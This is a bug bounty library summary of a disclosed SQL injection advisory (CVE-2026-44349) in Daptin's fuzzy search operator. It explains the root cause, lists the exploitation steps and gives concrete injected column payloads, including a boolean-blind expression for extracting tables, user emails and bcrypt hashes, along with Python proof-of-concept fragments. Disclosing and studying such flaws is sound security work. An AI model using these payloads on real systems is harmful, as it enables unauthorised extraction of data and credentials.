# Daptin fuzzy search injects unvalidated column name into raw SQL

Daptin's fuzzy search interpolates the user-supplied column name into raw goqu.L SQL, letting any self-registered user blind-extract the entire database.

- Payout: Research
- Severity: high
- Program: Daptin
- Found by: alpakalee
- Disclosed: 2026-05-06
- CVE: CVE-2026-44349
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pwqg-q8pg-pp6r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pwqg-q8pg-pp6r
- Tags: area:web domain:web impact:ato impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:go technique:blind technique:source-review vuln:sqli

**Target:** GET /api/<entity> fuzzy search operator (Go, goqu, SQLite/PostgreSQL/MySQL/MSSQL)
**Root cause:** processFuzzySearch splits the attacker-controlled `column` parameter by comma and interpolates each segment into goqu.L raw SQL via fmt.Sprintf, bypassing the GetColumnByName whitelist that only processQueryFilter calls.
**Steps:**
1. Sign up and sign in to obtain a JWT (`/action/user_account/signup`, `/action/user_account/signin`).
2. Send `GET /api/world?query=[{"column":"reference_id) OR 1=1 OR LOWER(world.reference_id","operator":"fuzzy","value":"zzzzz"}]&page[size]=5` with the Bearer token.
3. Observe baseline 0 rows vs tautology 5 rows confirming injection.
4. For PostgreSQL/MySQL/MSSQL add `fuzzy_options.fallback_mode` (`word_boundary`/`soundex`) in the query JSON to reach the goqu.L sink.
5. Blind-extract data with boolean oracle, e.g. `reference_id) OR (SELECT count(*) FROM sqlite_master WHERE type='table') >= N OR LOWER(world.reference_id`, ~7 requests per character.
**How found:** Code review of the fuzzy branch: noticed processFuzzySearch runs before processQueryFilter and never calls GetColumnByName, then traced the comma-split column into goqu.L fmt.Sprintf sinks per driver.
**Exploitation:** Any authenticated user (self-signup enabled by default) sends crafted `column` values through the fuzzy operator; the injected boolean expression controls row count, giving a boolean-blind oracle to extract sqlite_master tables, user emails and bcrypt hashes.
**Escalation:** Self-registration removes the need for admin involvement; boolean-blind binary search extracts arbitrary tables and credential data at ~7 requests/char.
**Insight:** When a codebase has a column-whitelist helper, grep every raw-SQL sink (goqu.L, fmt.Sprintf into SQL) and check whether each operator branch actually calls the validator — alternate operators like fuzzy often bypass the guarded path.

## Proof of concept (copied exactly from the original report)

**Injected column value breaking out of LOWER()**

```
col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id"
    return rows(col, jwt) > 0
```

**Fuzzy operator request with attacker column**

```
q = urllib.parse.urlencode({"query": json.dumps(
        [{"column": col, "operator": "fuzzy", "value": "zzzzz"}])})
    req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5",
                                 headers={"Authorization": "Bearer " + jwt})
    d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000))
    return len(d.get("data", []))
```

